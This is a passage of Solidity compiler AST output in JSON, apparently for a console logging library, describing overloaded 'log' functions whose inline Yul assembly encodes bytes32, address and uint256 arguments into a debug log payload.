2:6:22"},"nativeSrc":"376152:16:22","nodeType":"YulFunctionCall","src":"376152:16:22"},"nativeSrc":"376152:16:22","nodeType":"YulExpressionStatement","src":"376152:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376188:4:22","nodeType":"YulLiteral","src":"376188:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"376194:2:22","nodeType":"YulIdentifier","src":"376194:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376181:6:22","nodeType":"YulIdentifier","src":"376181:6:22"},"nativeSrc":"376181:16:22","nodeType":"YulFunctionCall","src":"376181:16:22"},"nativeSrc":"376181:16:22","nodeType":"YulExpressionStatement","src":"376181:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376217:4:22","nodeType":"YulLiteral","src":"376217:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"376223:2:22","nodeType":"YulIdentifier","src":"376223:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376210:6:22","nodeType":"YulIdentifier","src":"376210:6:22"},"nativeSrc":"376210:16:22","nodeType":"YulFunctionCall","src":"376210:16:22"},"nativeSrc":"376210:16:22","nodeType":"YulExpressionStatement","src":"376210:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376246:5:22","nodeType":"YulLiteral","src":"376246:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"376253:2:22","nodeType":"YulIdentifier","src":"376253:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376239:6:22","nodeType":"YulIdentifier","src":"376239:6:22"},"nativeSrc":"376239:17:22","nodeType":"YulFunctionCall","src":"376239:17:22"},"nativeSrc":"376239:17:22","nodeType":"YulExpressionStatement","src":"376239:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45906,"isOffset":false,"isSlot":false,"src":"376020:2:22","valueSize":1},{"declaration":45909,"isOffset":false,"isSlot":false,"src":"376049:2:22","valueSize":1},{"declaration":45912,"isOffset":false,"isSlot":false,"src":"376078:2:22","valueSize":1},{"declaration":45915,"isOffset":false,"isSlot":false,"src":"376107:2:22","valueSize":1},{"declaration":45918,"isOffset":false,"isSlot":false,"src":"376136:2:22","valueSize":1},{"declaration":45921,"isOffset":false,"isSlot":false,"src":"376165:2:22","valueSize":1},{"declaration":45924,"isOffset":false,"isSlot":false,"src":"376194:2:22","valueSize":1},{"declaration":45927,"isOffset":false,"isSlot":false,"src":"376223:2:22","valueSize":1},{"declaration":45930,"isOffset":false,"isSlot":false,"src":"376253:2:22","valueSize":1}],"id":45938,"nodeType":"InlineAssembly","src":"375984:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"374745:3:22","parameters":{"id":45903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45896,"mutability":"mutable","name":"p0","nameLocation":"374757:2:22","nodeType":"VariableDeclaration","scope":45940,"src":"374749:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45895,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374749:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45898,"mutability":"mutable","name":"p1","nameLocation":"374769:2:22","nodeType":"VariableDeclaration","scope":45940,"src":"374761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45897,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374761:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45900,"mutability":"mutable","name":"p2","nameLocation":"374781:2:22","nodeType":"VariableDeclaration","scope":45940,"src":"374773:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45899,"name":"address","nodeType":"ElementaryTypeName","src":"374773:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45902,"mutability":"mutable","name":"p3","nameLocation":"374793:2:22","nodeType":"VariableDeclaration","scope":45940,"src":"374785:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45901,"name":"uint256","nodeType":"ElementaryTypeName","src":"374785:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"374748:48:22"},"returnParameters":{"id":45904,"nodeType":"ParameterList","parameters":[],"src":"374811:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45992,"nodeType":"FunctionDefinition","src":"376278:1738:22","nodes":[],"body":{"id":45991,"nodeType":"Block","src":"376353:1663:22","nodes":[],"statements":[{"assignments":[45952],"declarations":[{"constant":false,"id":45952,"mutability":"mutable","name":"m0","nameLocation":"376371:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376363:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45951,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376363:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45953,"nodeType":"VariableDeclarationStatement","src":"376363:10:22"},{"assignments":[45955],"declarations":[{"constant":false,"id":45955,"mutability":"mutable","name":"m1","nameLocation":"376391:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376383:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45954,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376383:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45956,"nodeType":"VariableDeclarationStatement","src":"376383:10:22"},{"assignments":[45958],"declarations":[{"constant":false,"id":45958,"mutability":"mutable","name":"m2","nameLocation":"376411:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376403:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45957,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376403:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45959,"nodeType":"VariableDeclarationStatement","src":"376403:10:22"},{"assignments":[45961],"declarations":[{"constant":false,"id":45961,"mutability":"mutable","name":"m3","nameLocation":"376431:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376423:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45960,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376423:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45962,"nodeType":"VariableDeclarationStatement","src":"376423:10:22"},{"assignments":[45964],"declarations":[{"constant":false,"id":45964,"mutability":"mutable","name":"m4","nameLocation":"376451:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376443:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45963,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376443:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45965,"nodeType":"VariableDeclarationStatement","src":"376443:10:22"},{"assignments":[45967],"declarations":[{"constant":false,"id":45967,"mutability":"mutable","name":"m5","nameLocation":"376471:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376463:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45966,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376463:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45968,"nodeType":"VariableDeclarationStatement","src":"376463:10:22"},{"assignments":[45970],"declarations":[{"constant":false,"id":45970,"mutability":"mutable","name":"m6","nameLocation":"376491:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376483:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45969,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376483:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45971,"nodeType":"VariableDeclarationStatement","src":"376483:10:22"},{"assignments":[45973],"declarations":[{"constant":false,"id":45973,"mutability":"mutable","name":"m7","nameLocation":"376511:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376503:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45972,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376503:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45974,"nodeType":"VariableDeclarationStatement","src":"376503:10:22"},{"assignments":[45976],"declarations":[{"constant":false,"id":45976,"mutability":"mutable","name":"m8","nameLocation":"376531:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376523:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376523:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45977,"nodeType":"VariableDeclarationStatement","src":"376523:10:22"},{"assignments":[45979],"declarations":[{"constant":false,"id":45979,"mutability":"mutable","name":"m9","nameLocation":"376551:2:22","nodeType":"VariableDeclaration","scope":45991,"src":"376543:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45978,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376543:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45980,"nodeType":"VariableDeclarationStatement","src":"376543:10:22"},{"assignments":[45982],"declarations":[{"constant":false,"id":45982,"mutability":"mutable","name":"m10","nameLocation":"376571:3:22","nodeType":"VariableDeclaration","scope":45991,"src":"376563:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45981,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376563:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45983,"nodeType":"VariableDeclarationStatement","src":"376563:11:22"},{"AST":{"nativeSrc":"376593:1027:22","nodeType":"YulBlock","src":"376593:1027:22","statements":[{"body":{"nativeSrc":"376636:313:22","nodeType":"YulBlock","src":"376636:313:22","statements":[{"nativeSrc":"376654:15:22","nodeType":"YulVariableDeclaration","src":"376654:15:22","value":{"kind":"number","nativeSrc":"376668:1:22","nodeType":"YulLiteral","src":"376668:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"376658:6:22","nodeType":"YulTypedName","src":"376658:6:22","type":""}]},{"body":{"nativeSrc":"376739:40:22","nodeType":"YulBlock","src":"376739:40:22","statements":[{"body":{"nativeSrc":"376768:9:22","nodeType":"YulBlock","src":"376768:9:22","statements":[{"nativeSrc":"376770:5:22","nodeType":"YulBreak","src":"376770:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"376756:6:22","nodeType":"YulIdentifier","src":"376756:6:22"},{"name":"w","nativeSrc":"376764:1:22","nodeType":"YulIdentifier","src":"376764:1:22"}],"functionName":{"name":"byte","nativeSrc":"376751:4:22","nodeType":"YulIdentifier","src":"376751:4:22"},"nativeSrc":"376751:15:22","nodeType":"YulFunctionCall","src":"376751:15:22"}],"functionName":{"name":"iszero","nativeSrc":"376744:6:22","nodeType":"YulIdentifier","src":"376744:6:22"},"nativeSrc":"376744:23:22","nodeType":"YulFunctionCall","src":"376744:23:22"},"nativeSrc":"376741:36:22","nodeType":"YulIf","src":"376741:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"376696:6:22","nodeType":"YulIdentifier","src":"376696:6:22"},{"kind":"number","nativeSrc":"376704:4:22","nodeType":"YulLiteral","src":"376704:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"376693:2:22","nodeType":"YulIdentifier","src":"376693:2:22"},"nativeSrc":"376693:16:22","nodeType":"YulFunctionCall","src":"376693:16:22"},"nativeSrc":"376686:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"376710:28:22","nodeType":"YulBlock","src":"376710:28:22","statements":[{"nativeSrc":"376712:24:22","nodeType":"YulAssignment","src":"376712:24:22","value":{"arguments":[{"name":"length","nativeSrc":"376726:6:22","nodeType":"YulIdentifier","src":"376726:6:22"},{"kind":"number","nativeSrc":"376734:1:22","nodeType":"YulLiteral","src":"376734:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"376722:3:22","nodeType":"YulIdentifier","src":"376722:3:22"},"nativeSrc":"376722:14:22","nodeType":"YulFunctionCall","src":"376722:14:22"},"variableNames":[{"name":"length","nativeSrc":"376712:6:22","nodeType":"YulIdentifier","src":"376712:6:22"}]}]},"pre":{"nativeSrc":"376690:2:22","nodeType":"YulBlock","src":"376690:2:22","statements":[]},"src":"376686:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"376803:3:22","nodeType":"YulIdentifier","src":"376803:3:22"},{"name":"length","nativeSrc":"376808:6:22","nodeType":"YulIdentifier","src":"376808:6:22"}],"functionName":{"name":"mstore","nativeSrc":"376796:6:22","nodeType":"YulIdentifier","src":"376796:6:22"},"nativeSrc":"376796:19:22","nodeType":"YulFunctionCall","src":"376796:19:22"},"nativeSrc":"376796:19:22","nodeType":"YulExpressionStatement","src":"376796:19:22"},{"nativeSrc":"376832:37:22","nodeType":"YulVariableDeclaration","src":"376832:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"376849:3:22","nodeType":"YulLiteral","src":"376849:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"376858:1:22","nodeType":"YulLiteral","src":"376858:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"376861:6:22","nodeType":"YulIdentifier","src":"376861:6:22"}],"functionName":{"name":"shl","nativeSrc":"376854:3:22","nodeType":"YulIdentifier","src":"376854:3:22"},"nativeSrc":"376854:14:22","nodeType":"YulFunctionCall","src":"376854:14:22"}],"functionName":{"name":"sub","nativeSrc":"376845:3:22","nodeType":"YulIdentifier","src":"376845:3:22"},"nativeSrc":"376845:24:22","nodeType":"YulFunctionCall","src":"376845:24:22"},"variables":[{"name":"shift","nativeSrc":"376836:5:22","nodeType":"YulTypedName","src":"376836:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"376897:3:22","nodeType":"YulIdentifier","src":"376897:3:22"},{"kind":"number","nativeSrc":"376902:4:22","nodeType":"YulLiteral","src":"376902:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"376893:3:22","nodeType":"YulIdentifier","src":"376893:3:22"},"nativeSrc":"376893:14:22","nodeType":"YulFunctionCall","src":"376893:14:22"},{"arguments":[{"name":"shift","nativeSrc":"376913:5:22","nodeType":"YulIdentifier","src":"376913:5:22"},{"arguments":[{"name":"shift","nativeSrc":"376924:5:22","nodeType":"YulIdentifier","src":"376924:5:22"},{"name":"w","nativeSrc":"376931:1:22","nodeType":"YulIdentifier","src":"376931:1:22"}],"functionName":{"name":"shr","nativeSrc":"376920:3:22","nodeType":"YulIdentifier","src":"376920:3:22"},"nativeSrc":"376920:13:22","nodeType":"YulFunctionCall","src":"376920:13:22"}],"functionName":{"name":"shl","nativeSrc":"376909:3:22","nodeType":"YulIdentifier","src":"376909:3:22"},"nativeSrc":"376909:25:22","nodeType":"YulFunctionCall","src":"376909:25:22"}],"functionName":{"name":"mstore","nativeSrc":"376886:6:22","nodeType":"YulIdentifier","src":"376886:6:22"},"nativeSrc":"376886:49:22","nodeType":"YulFunctionCall","src":"376886:49:22"},"nativeSrc":"376886:49:22","nodeType":"YulExpressionStatement","src":"376886:49:22"}]},"name":"writeString","nativeSrc":"376607:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"376628:3:22","nodeType":"YulTypedName","src":"376628:3:22","type":""},{"name":"w","nativeSrc":"376633:1:22","nodeType":"YulTypedName","src":"376633:1:22","type":""}],"src":"376607:342:22"},{"nativeSrc":"376962:17:22","nodeType":"YulAssignment","src":"376962:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"376974:4:22","nodeType":"YulLiteral","src":"376974:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"376968:5:22","nodeType":"YulIdentifier","src":"376968:5:22"},"nativeSrc":"376968:11:22","nodeType":"YulFunctionCall","src":"376968:11:22"},"variableNames":[{"name":"m0","nativeSrc":"376962:2:22","nodeType":"YulIdentifier","src":"376962:2:22"}]},{"nativeSrc":"376992:17:22","nodeType":"YulAssignment","src":"376992:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"377004:4:22","nodeType":"YulLiteral","src":"377004:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"376998:5:22","nodeType":"YulIdentifier","src":"376998:5:22"},"nativeSrc":"376998:11:22","nodeType":"YulFunctionCall","src":"376998:11:22"},"variableNames":[{"name":"m1","nativeSrc":"376992:2:22","nodeType":"YulIdentifier","src":"376992:2:22"}]},{"nativeSrc":"377022:17:22","nodeType":"YulAssignment","src":"377022:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"377034:4:22","nodeType":"YulLiteral","src":"377034:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"377028:5:22","nodeType":"YulIdentifier","src":"377028:5:22"},"nativeSrc":"377028:11:22","nodeType":"YulFunctionCall","src":"377028:11:22"},"variableNames":[{"name":"m2","nativeSrc":"377022:2:22","nodeType":"YulIdentifier","src":"377022:2:22"}]},{"nativeSrc":"377052:17:22","nodeType":"YulAssignment","src":"377052:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"377064:4:22","nodeType":"YulLiteral","src":"377064:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"377058:5:22","nodeType":"YulIdentifier","src":"377058:5:22"},"nativeSrc":"377058:11:22","nodeType":"YulFunctionCall","src":"377058:11:22"},"variableNames":[{"name":"m3","nativeSrc":"377052:2:22","nodeType":"YulIdentifier","src":"377052:2:22"}]},{"nativeSrc":"377082:17:22","nodeType":"YulAssignment","src":"377082:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"377094:4:22","nodeType":"YulLiteral","src":"377094:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"377088:5:22","nodeType":"YulIdentifier","src":"377088:5:22"},"nativeSrc":"377088:11:22","nodeType":"YulFunctionCall","src":"377088:11:22"},"variableNames":[{"name":"m4","nativeSrc":"377082:2:22","nodeType":"YulIdentifier","src":"377082:2:22"}]},{"nativeSrc":"377112:17:22","nodeType":"YulAssignment","src":"377112:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"377124:4:22","nodeType":"YulLiteral","src":"377124:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"377118:5:22","nodeType":"YulIdentifier","src":"377118:5:22"},"nativeSrc":"377118:11:22","nodeType":"YulFunctionCall","src":"377118:11:22"},"variableNames":[{"name":"m5","nativeSrc":"377112:2:22","nodeType":"YulIdentifier","src":"377112:2:22"}]},{"nativeSrc":"377142:17:22","nodeType":"YulAssignment","src":"377142:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"377154:4:22","nodeType":"YulLiteral","src":"377154:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"377148:5:22","nodeType":"YulIdentifier","src":"377148:5:22"},"nativeSrc":"377148:11:22","nodeType":"YulFunctionCall","src":"377148:11:22"},"variableNames":[{"name":"m6","nativeSrc":"377142:2:22","nodeType":"YulIdentifier","src":"377142:2:22"}]},{"nativeSrc":"377172:17:22","nodeType":"YulAssignment","src":"377172:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"377184:4:22","nodeType":"YulLiteral","src":"377184:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"377178:5:22","nodeType":"YulIdentifier","src":"377178:5:22"},"nativeSrc":"377178:11:22","nodeType":"YulFunctionCall","src":"377178:11:22"},"variableNames":[{"name":"m7","nativeSrc":"377172:2:22","nodeType":"YulIdentifier","src":"377172:2:22"}]},{"nativeSrc":"377202:18:22","nodeType":"YulAssignment","src":"377202:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"377214:5:22","nodeType":"YulLiteral","src":"377214:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"377208:5:22","nodeType":"YulIdentifier","src":"377208:5:22"},"nativeSrc":"377208:12:22","nodeType":"YulFunctionCall","src":"377208:12:22"},"variableNames":[{"name":"m8","nativeSrc":"377202:2:22","nodeType":"YulIdentifier","src":"377202:2:22"}]},{"nativeSrc":"377233:18:22","nodeType":"YulAssignment","src":"377233:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"377245:5:22","nodeType":"YulLiteral","src":"377245:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"377239:5:22","nodeType":"YulIdentifier","src":"377239:5:22"},"nativeSrc":"377239:12:22","nodeType":"YulFunctionCall","src":"377239:12:22"},"variableNames":[{"name":"m9","nativeSrc":"377233:2:22","nodeType":"YulIdentifier","src":"377233:2:22"}]},{"nativeSrc":"377264:19:22","nodeType":"YulAssignment","src":"377264:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"377277:5:22","nodeType":"YulLiteral","src":"377277:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"377271:5:22","nodeType":"YulIdentifier","src":"377271:5:22"},"nativeSrc":"377271:12:22","nodeType":"YulFunctionCall","src":"377271:12:22"},"variableNames":[{"name":"m10","nativeSrc":"377264:3:22","nodeType":"YulIdentifier","src":"377264:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377367:4:22","nodeType":"YulLiteral","src":"377367:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"377373:10:22","nodeType":"YulLiteral","src":"377373:10:22","type":"","value":"0xeb1bff80"}],"functionName":{"name":"mstore","nativeSrc":"377360:6:22","nodeType":"YulIdentifier","src":"377360:6:22"},"nativeSrc":"377360:24:22","nodeType":"YulFunctionCall","src":"377360:24:22"},"nativeSrc":"377360:24:22","nodeType":"YulExpressionStatement","src":"377360:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377404:4:22","nodeType":"YulLiteral","src":"377404:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"377410:4:22","nodeType":"YulLiteral","src":"377410:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"377397:6:22","nodeType":"YulIdentifier","src":"377397:6:22"},"nativeSrc":"377397:18:22","nodeType":"YulFunctionCall","src":"377397:18:22"},"nativeSrc":"377397:18:22","nodeType":"YulExpressionStatement","src":"377397:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377435:4:22","nodeType":"YulLiteral","src":"377435:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"377441:4:22","nodeType":"YulLiteral","src":"377441:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"377428:6:22","nodeType":"YulIdentifier","src":"377428:6:22"},"nativeSrc":"377428:18:22","nodeType":"YulFunctionCall","src":"377428:18:22"},"nativeSrc":"377428:18:22","nodeType":"YulExpressionStatement","src":"377428:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377466:4:22","nodeType":"YulLiteral","src":"377466:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"377472:2:22","nodeType":"YulIdentifier","src":"377472:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377459:6:22","nodeType":"YulIdentifier","src":"377459:6:22"},"nativeSrc":"377459:16:22","nodeType":"YulFunctionCall","src":"377459:16:22"},"nativeSrc":"377459:16:22","nodeType":"YulExpressionStatement","src":"377459:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377495:4:22","nodeType":"YulLiteral","src":"377495:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"377501:5:22","nodeType":"YulLiteral","src":"377501:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"377488:6:22","nodeType":"YulIdentifier","src":"377488:6:22"},"nativeSrc":"377488:19:22","nodeType":"YulFunctionCall","src":"377488:19:22"},"nativeSrc":"377488:19:22","nodeType":"YulExpressionStatement","src":"377488:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377532:4:22","nodeType":"YulLiteral","src":"377532:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"377538:2:22","nodeType":"YulIdentifier","src":"377538:2:22"}],"functionName":{"name":"writeString","nativeSrc":"377520:11:22","nodeType":"YulIdentifier","src":"377520:11:22"},"nativeSrc":"377520:21:22","nodeType":"YulFunctionCall","src":"377520:21:22"},"nativeSrc":"377520:21:22","nodeType":"YulExpressionStatement","src":"377520:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377566:4:22","nodeType":"YulLiteral","src":"377566:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"377572:2:22","nodeType":"YulIdentifier","src":"377572:2:22"}],"functionName":{"name":"writeString","nativeSrc":"377554:11:22","nodeType":"YulIdentifier","src":"377554:11:22"},"nativeSrc":"377554:21:22","nodeType":"YulFunctionCall","src":"377554:21:22"},"nativeSrc":"377554:21:22","nodeType":"YulExpressionStatement","src":"377554:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377600:5:22","nodeType":"YulLiteral","src":"377600:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"377607:2:22","nodeType":"YulIdentifier","src":"377607:2:22"}],"functionName":{"name":"writeString","nativeSrc":"377588:11:22","nodeType":"YulIdentifier","src":"377588:11:22"},"nativeSrc":"377588:22:22","nodeType":"YulFunctionCall","src":"377588:22:22"},"nativeSrc":"377588:22:22","nodeType":"YulExpressionStatement","src":"377588:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45952,"isOffset":false,"isSlot":false,"src":"376962:2:22","valueSize":1},{"declaration":45955,"isOffset":false,"isSlot":false,"src":"376992:2:22","valueSize":1},{"declaration":45982,"isOffset":false,"isSlot":false,"src":"377264:3:22","valueSize":1},{"declaration":45958,"isOffset":false,"isSlot":false,"src":"377022:2:22","valueSize":1},{"declaration":45961,"isOffset":false,"isSlot":false,"src":"377052:2:22","valueSize":1},{"declaration":45964,"isOffset":false,"isSlot":false,"src":"377082:2:22","valueSize":1},{"declaration":45967,"isOffset":false,"isSlot":false,"src":"377112:2:22","valueSize":1},{"declaration":45970,"isOffset":false,"isSlot":false,"src":"377142:2:22","valueSize":1},{"declaration":45973,"isOffset":false,"isSlot":false,"src":"377172:2:22","valueSize":1},{"declaration":45976,"isOffset":false,"isSlot":false,"src":"377202:2:22","valueSize":1},{"declaration":45979,"isOffset":false,"isSlot":false,"src":"377233:2:22","valueSize":1},{"declaration":45942,"isOffset":false,"isSlot":false,"src":"377538:2:22","valueSize":1},{"declaration":45944,"isOffset":false,"isSlot":false,"src":"377572:2:22","valueSize":1},{"declaration":45946,"isOffset":false,"isSlot":false,"src":"377472:2:22","valueSize":1},{"declaration":45948,"isOffset":false,"isSlot":false,"src":"377607:2:22","valueSize":1}],"id":45984,"nodeType":"InlineAssembly","src":"376584:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45986,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"377645:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":45987,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"377651:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":45985,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"377629:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 